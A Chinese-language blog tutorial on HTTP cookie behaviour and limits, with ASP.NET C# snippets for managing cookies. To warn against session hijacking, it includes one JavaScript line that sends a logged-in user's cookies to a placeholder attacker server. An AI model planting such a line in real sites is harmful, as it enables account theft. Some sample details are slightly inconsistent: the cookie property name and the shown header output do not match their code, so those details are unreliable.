The Will Will Web

記載著 Will 在網路世界的學習心得與技術分享

解釋 Cookie 的特性

身為 Web 開發人員一定要瞭解 HTTP 本身 無狀態 (Stateless) 的特性,要在網路上識別瀏覽者的身份,必須透過一些機制來保存狀態,而 Cookie 就是其中一種保存狀態的機制,也是我們開發 Web 應用程式經常要面對的事,但又有多少人瞭解 Cookie 的細部特性呢!今天來談談 Cookie 的細部特性吧。

Cookie 的運作是這樣的:

  1. Server 端回應給 Browser 一個或多個 "Set-Cookie" HTTP Header
  2. Client 端 ( Browser ) 接收到 Set-Cookie 指令時,會將 Cookie 的名稱與值儲存在 Browser 的 Cookie 存放區,並記錄該 Cookie 隸屬的網域、網址路徑、過期時間、是否為安全連線
  3. 當 Browser 再次發出 HTTP Request 指令到 Server 時,就會比對目前在 Browser 內的 Cookie 存放區有沒有「該網域」、「該目錄」、「過期時間尚未過期��且「是否為安全連線」的 Cookie,如果有的話就會包含在 HTTP Request 指令的 "Cookie" Header 中。

    假設 Browser 在取得一張網頁時如果裡面包含 20 張圖、3 個 CSS、2 個 JavaScript 檔的話,同樣一份 Cookie 就會送出 25 次到 Server 端,如果你 Cookie 的大小有 4K 的話,光是看一張網頁你可能就要從你的電腦發送出 100KB 的頻寬,且可能只有一張網頁用的到這個 Cookie 而已。

    所以使用 Cookie 並非「多多益善」,而是要「小心使用」,否則光是 Cookie 就會讓你的網頁顯示的時間變慢。

由於 Cookie 是儲存在 Client 端,所以一些比較機密的資料不建議存放在 Cookie 中,例如有套軟體 IECookiesView 就可以輕易的將一台電腦中的所有 Cookie 取出,如果你的 Cookie 中有帳號、密碼、身份證字號等資料,那就真的全都露啦!如果真的要放也要加密過後再放比較安全。

網路上有個常見的攻擊手法叫做 Session hijacking ,就是透過 JavaScript 將 Cookie 偷偷傳遞出來,然後冒用別人的 Cookie 來登入,所以在開發 Web 應用程式的時候,千萬千萬要注意,尤其是讓使用者上傳資料的時候,一定要避免使用者偷偷上傳 JavaScript 的程式,資料儲存到資料庫之前一定要做檢查,或是將非法的標籤(如:<script>)移除。

Session hijacking 攻擊的手法模擬摘要如下:

  1. 惡意使用者登入討論區,新增一篇含有 JavaScript 的文章
  2. 所有來看你這篇文章的人,且是已經登入的使用者,其 Cookie 就可以透過下列一行指令將 Cookie 回傳給自己的伺服器:

    document.images[0].src = 'http://my.server.com/getCookie.aspx?cookies=' + encodeURIComponent(document.cookies);
  3. 惡意使用者得到 Cookie 後修改自己 Browser 所記錄的 Cookie 值,就可以變成另一個人的身份使用網站了,這時要改密碼、看資料、刪除資料都很容易了!

通常 Cookie 有兩種類型:Persistent Cookie 與 Session Cookie

1. Persistent Cookie

這種類型的 Cookie 可以設定存在 Browser 一段時間(明確指定 Cookie 的 Expires 時間),如果你設定的時間夠長(例如:一天),即便 Browser 全部關閉或重開機後再開啟也還會存在。

例如以下程式:

[code:c#]

    Response.Cookies["Email"].Value = TextBox1.Text;
    Response.Cookies["Email"].Expires = DateTime.Now.AddDays(1);

[/code]

2. Session Cookie

這種 Cookie 是當不特別指定 Expires (過期時間) 時,該 Cookie 只會存在目前這個 Browser 的續存期間(Session),只要 Browser 全部關閉後 Cookie 會自動被清除。

例如以下程式:

[code:c#]

    Response.Cookies["Username"].Value = DateTime.Now.ToString();

[/code]

RFC 2109 HTTP State Management Mechanism RFC2965 HTTP State Management Mechanism 規範的 6.3 5.3 Implementation Limits 章節中有定義 User Agent (瀏覽器) 針對 Cookie 的最低儲存量,但是每一個 Browser 在實做的時候還是有其限制,大多 Browser 都僅實做最低的儲存量,因為使用過多的 Cookie 會消耗頻寬,反而沒有效率,RFC 上面的定義是這樣的:

  1. 至少可以儲存 300 個 Cookies
  2. 每個 Cookie 所儲存的值至少可以儲存 4096 位元組(4KB)
  3. 每個網域(domain name)至少可以儲存 20 個 Cookies

    P.S. 網址中 http://blog.miniasp.com/ 的 blog.miniasp.com 在這裡稱為「網域」,即便是 http://192.168.1.1/ 的 192.168.1.1 也都通稱為「網域」。

當你設定 Cookie 的大小超出限制,瀏覽器就會丟棄整個 Cookie,而不是將你設定的值取可以儲存的部分。

底下列出一些 ASP.NET 針對 Cookie 操作的一些範例:

  1. 讀取從 Browser 送過來的 Cookie

    [code:c#]

        if (Request.Cookies["LastVisit"] != null)
        {
          Label1.Text = Server.HtmlEncode(Request.Cookies["LastVisit"].Value);
        }

    [/code]
  2. 寫入或更新 Cookie 到 Browser 端,並設定過期時間為 1 小時

    [code:c#]

        Response.Cookies["UserID"].Value = "will";
        Response.Cookies["UserID"].Expires = DateTime.Now.AddHours(1);

    [/code]
  3. 刪除 Browser 端的 Cookie

    [code:c#]

        Response.Cookies["UserID"].Value = "will";
        // 只要將 Cookie 的 Expires 設定成 "昨天" 就可以刪除了!
        Response.Cookies["UserID"].Expires = DateTime.Now.AddDays(-1);

    [/code]
  4. 設定一個只有當使用 HTTPS 安全連線時才送出的 Cookie

    [code:c#]

        Response.Cookies["UserID"].Value = "will";
        Response.Cookies["UserID"].Secure = true;

    [/code]

    備註: 雖然此 Cookie 會在 HTTPS 連線的情況下才會送出,但儲存在 Browser 端的資料還是明碼喔! 如果使用者在公用電腦上網,也有資料被盜取的風險!
  5. 設定一個 "跨子網域" 的 Cookie

    [code:c#]

        Response.Cookies["UserID"].Value = "will";
        // 所有 *.miniasp.com 網域的網站的程式都會收到此 Cookie
        Response.Cookies["UserID"].Domain = ".miniasp.com";

    [/code]

    備註 1: 通常有多個子網域的 "單一簽入" (Single Sign-On, SSO) 機制會用這種方法做!
    備註 2: 你不能設定 "與跟自己不一樣的網域(Domain)",Browser 不會理你的! 例如: http://www.miniasp.com/ 這頁就不能設定 abc.com 的 Cookie!
    備註 3:RFC 2109 HTTP State Management Mechanism 規格裡,的確有要求要在 Domain 屬性值最前面加上 . (點) 才能支援 "跨子網域" 的 Cookie。不過,這份規格已經被淘汰了,取而代之的是 RFC2965 HTTP State Management Mechanism 這份規格,新的規格裡有提到,如果 Domain 屬性沒有在域名前面加上 . (點),瀏覽器應該幫你自動在域名上最前面加上 . (點),所以,要不要加上這個 . (點) 已經不太重要了,我測試過從 IE6 ~ IE10 都沒問題。

    Q: 你覺得當你在 http://www.miniasp.com/ 可以設定 blog.miniasp.com 網域(Domain)的 Cookie 嗎?
    A: 答案是不行的! 你如果要從 www.miniasp.com 設定 Cookie 讓 blog.miniasp.com 也可以讀取到的話,必須指定 Domain 為 ".miniasp.com"

  6. 設定一個二維陣列的 Cookie

    [code:c#]

        Response.Cookies["User"]["LastLoginTime"] = DateTime.Now.ToString();

    [/code]

    備註: 雖然這是個類似二為陣列的 Cookie,但是事實上 Cookie 本身是不支援多維方式儲存的!

    上述那一段所輸出的 Header 將會是:
        Set-Cookie: UserData=LastVisit=2008-02-22 下午 09:17:42;

    而你若嘗試讀取 Response.Cookies["User"].Value 的話,所得到的值將是 LastVisit=2008-02-22 下午 09:17:42
  7. 刪除二為陣列 Cookie 中的子鍵值

    [code:c#]

        Response.Cookies["User"].Values.Remove("LastLoginTime");

    [/code]

相關網址: